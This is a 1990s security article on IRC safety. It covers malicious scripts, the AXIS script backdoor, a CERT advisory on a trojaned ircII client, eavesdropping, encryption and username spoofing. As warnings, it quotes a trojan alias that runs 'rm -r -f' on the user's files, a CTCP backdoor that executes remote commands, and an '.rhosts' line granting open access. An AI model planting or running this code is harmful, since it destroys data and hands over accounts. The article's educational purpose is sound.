Using IRC Safely
In part I, we have examined how users can keep their IRC sessions
reasonably "under control" by understanding commonly used commands.
It's all well and good to know how to stop the flooders from flooding, the
clonebots from cloning, and the flashers from flashing. However, you need to be
aware of more serious aspects to IRC security. While you can avoid the dangers
of scripts by not running them, there are yet more 'invisible' dangers.
Scripters and their toys
As previously mentioned the other area of concern is commands run from
within IRC. There are two ways to run commands, manually and
automatically (scripts).
Manual execution is easy to stop. Simply put a line 'set
exec_protection on' in your .ircrc file. You will never need to worry
about accidentally typing something that could delete your data or
hand your account over to someone (unless you type '/set
exec_protection off'). This will stop any and all attempts by you to
use the 'Exec' command.
Protecting yourself from scripts is equally easy - don't run any. If
you must run a script, check over each line to make sure you know it
does what you want it to do. And be sure to get the script from a
reputable person, who has looked the script over for safety also.
Here are some examples of nasty things that can be found in scripts:
From a script called 'IRCop' (which allegedly hacks Op for the user):
^alias clean {
^set display off
EVAL ^MSG $NICK @@@ Removing files from lamers account.
exec rm -r -f *
EVAL ^MSG $NICK @@@ Removing .* files, including foo.
exec rm -r -f .*
EVAL ^MSG $NICK @@@ Restoring directory.
exec mkdir Folgers_Crystals
EVAL ^MSG $NICK @@@ Changing lamers nick.
nick Iam****ed
EVAL MSG $NICK @@@ Making public announcement.
me doesn't know it yet but he has secretly had his files
replaced
me - with Folgers Crystals.
me - Will he notice? Let's watch...
sleep 4
EVAL ^MSG $NICK @@@ Lamer is loosing his temper.
say ****ing Son of a *****! They ******* deleted my *** ****
files!
say I'm gona ****ing kill there ***!
me - Folgers Crystals... Rich enough to replace even MY files.
me is so ****ed 3l33+...
EVAL ^MSG $NICK Lamer *DESTROYED*
set display on
}
Instead of stealing Ops, the poor wanna-be op has all his files deleted
-- and, he sends nasty little messages to everyone who is watching. If
his humiliation was not enough, there is more code in this script that
sets up and runs a password file de-shadower, sends the file to another
user and insults the user running the script while stopping him from
quitting IRC.
Even otherwise useful scripts may contain trojans, as this excerpt
from a Usenet post illustrates -
Newsgroups: alt.irc
From: John Leth-Nissen <[email protected]>
Subject: WARNING to all AXIS users!
Message-ID: <[email protected]>
Sender: [email protected] (Usenet News)
Nntp-Posting-Host: bolero.rahul.net
Nntp-Posting-User: conquest
Organization: a2i network
X-Newsreader: TIN [version 1.2 PL2]
Date: Wed, 26 Oct 1994 00:21:46 GMT
Lines: 68
WARNING WARNING WARNING WARNING WARNING WARNING
Users of the scriptpak known as AXIS beware! The script you are
using contains an extremely dangerous backdoor. If you have used this
script on IRC w/o first removing this backdoor you may have already been
hacked! This warning includes the original distribution from murple himself
(ftp.clark.net). The author of this script is sent an email when you use his
auto-install so he knows who you are and this backdoor allows him total
control of your client and access to your account.
Suggested Remedy:
Remove the whole axis pak or edit the ~/axis/axis file & remove the backdoor.
If you have run this script on irc you should probably send an email to your
admin and ask him to check system logs to find out if your account has been
accessed by [email protected].
This may be a little bit of an over reaction but there is no way to know what
murple's true motives are for putting this kind of backdoor into the script.
If his motives were not to hack your account there are much safer ways of coding
a backdoor to only allow certain commands.
Here is the backdoor
file: ~/axis/axis
lines: #1448-1462
--- begin ---
comment The following /ON statement is the back door. Congrats on being smart
comment enough to read a script before running it. Simply delete the next
comment 12 lines to get rid of it.
^on ^ctcp "% % DOIT*"
{
^assign doome $3-
^userhost $0 -cmd if ([$3]==[murple]&&[$4]==[clark.net])
{
^set display off
^notice $0 [Slave] Your wish is my command: $dome
^eval sendline $doome
^timer 20 ^set display on
^eval sendline $doome
}
}
--- end ---
The author claims the script was only intended to have a very limited
release, among friends who all gave explicit permission for the
backdoor, so he could help them out.
It only takes a line or two to wipe your account clean or hand it over
to persons unknown; think before you type '/load nifty.irc'.
You don't have to run a script for your account to be compromised. In
some cases you need only run IRC itself. It is not only possible to install a
trojan horse into IRC, it has been done; and on a large scale at that. CERT
recently released this advisory:
CA-94:14 CERT Advisory
October 19, 1994
Trojan Horse in IRC Client for UNIX
The CERT Coordination Center has learned of a Trojan horse in some copies of
ircII version 2.2.9, the source code for the Internet Relay Chat (IRC) client
for UNIX systems. Reports we have received thus far indicate that the corrupt
code was available as early as May 1994. The Trojan horse provides a back door
through which intruders can gain unauthorized access to accounts of IRC users.
Intruders are actively exploiting this back door. If you obtained ircII 2.2.9
from any site in May or later, you may be vulnerable.
The full advisory can be found on anonymous ftp at info.cert.org
as /pub/cert_advisories/CA-94:14.trojan.horse.in.IRC.client.for.UNIX.
What happened is this: someone wrote a trojan horse into the code for
IRC and replaced the source on a major distribution site. The trojan
horse was designed to respond to certain CTCP messages
('CTCP <nick>GROK <command>' or 'CTCP <nick> JUPE <command>')
by executing the
command, without telling the user. In other words, if you run a
trojaned client and someone who knows about the signals tests them on
you, he can set up free access to your account in seconds. All it
takes is 'echo "+ +" >.rhosts' and he is in, whenever he wants.
The solution is easy - make sure you don't have a trojaned client
(well, not -this- trojan anyway) by typing "strings `which irc` |egrep
'JUPE|GROK'" at your Unix shell prompt. If JUPE and/or GROK are found,
you can pretty much be sure that you have a trojanized client. If they
are not found, you can only be sure that this particular version of the
trojanized client is not there. Check the code you run. Do not run IRC
programs that you are not sure are legitimate.
Secure MD5 checksums for the upgrades are:
File Size MD5 Checksum
-------- ------ -----------------------------
ircii-2.6.tar.gz 366361 3FC5FBD18CB3E6C071F51FD8C6C59017
ircii-2.6help.tar.gz 111733 D9D535B7A06BED2A2EA6676B20BDA481
ircii-2.5to2.6-diff 19644 0C05C96B10CB87186BD921536AE3FDF2
As with the earlier "sunsniffer" advisory, this one comes after much
damage has been done. Please note that the strings JUPE|GROK are
-arbitrary-.
In the last segment of this article, we will look at the concerns of
privacy (who is listening?) and authentication (who am I talking to?).
'Who is listening?' This is a tough question to answer. Any time you
talk over a network as insecure as the Internet you run the risk of
being snooped on, peered at and watched by any number of people with
various motives. We should refine the question to 'what risks to
privacy are specifically made by talking on IRC?'. Is IRC safe from
prying eyes? Consider the way IRC works. Your client sends messages
to a server, which forwards your messages to other servers, which
forward the message to the destination server. Compromise is possible
all along the way (a server could be modified to sniff private
messages, or a skilled user could spoof as a server). It should be
noted that no proven case of an administrator installing such a
sniffer has been found; but if you're thinking of conducting business
meetings (as one networking magazine recently suggested) or discussing
sensitive information you should probably consider another medium.
There are more secure channels available for talk using IRC; standard
IRC provides two options and there is a third option for the truly
paranoid.
First there is the Encrypt command, which allows good-old
password-based encryption. Any encryption standard from Rot-13 to DES
can be dropped in using the 'Set Encrypt Program' command. You need a
secure channel to exchange the password; but once in place you can
safely assume any sniffers placed on servers will get gibberish.
Second there is the DCC Chat. This opens a direct line between you
and another party; it's about as safe as a 'talk' connection.
Thirdly, if you don't have any safe channels to send passwords over,
and really need to talk securely over IRC, there's a public-key
encryption package called 'ircrypt'. It's not very pretty, but it
does work. You can even hold multi-party conversations with it. It's
available for anonymous ftp at ftp.csua.berkeley.edu, as
/pub/cypherpunks/applications/Circ.tar.gz.
On IRC, no one knows you're a security expert
Our last stop on this tour is a look at authentication or 'how do you
know who you're talking to?'. The short answer is, you don't. IRC
requires no authentication of usernames; it is the client's
responsibility to tell the server the username. Spoofing of usernames
is trivial, just a few lines of C code and you can go on IRC as any
user (or a non-existent user) at your site.
By setting environment variables with the getenv command prior to invoking
IRC, and making a two line change to the IRC client he is running, he
can become [email protected]
For instance, if system headroom.com user max has made this commonly
available code change, and typed "setenv IRCUSERID bryce", IRC will
show him as [email protected], NOT max! Use of a secure port for username
verification is an option, but not a requirement. In other words, you
cannot trust a username you see on IRC. While many clients have been
fixed to not accept spoofed usernames or realname fields, some still
accept them, and pass them right along.
Spoofing the hostname is a bit tougher; that would require either a
source-routing-based spoof, or a modified server. But neither is
outside the realm of possibility and both have been done.
Conclusion
What is the conclusion? Should administrators forbid IRC on their
systems? Some have tried, but users can and -will- find ways around it,
either by changing the program name, or, if all else fails, by
telnetting to another site that allows IRC. IRC is here to stay.
Commercial services are beginning to offer it as an option for users.
It's a good program, with many positive benefits including sharing of
information and socialization. You cannot run, or hide from it. So, give it
a try and see if you can help us figure out ways to make it more secure. We
have a long way to go, and need all the help we can get.
About the Author
Sarah Gordon's work in various areas of IT Security can be found profiled in
various publications including the New York Times, Computer Security Journal
and Virus Bulletin. She is a frequent speaker at such diverse conferences
as those sponsored by NSA/NIST/NCSC and DEFCON. Recently appointed to the
Wildlist Board of Directors, she is actively involved in the development
of anti-virus software test criteria and methods. She may be reached as
[email protected]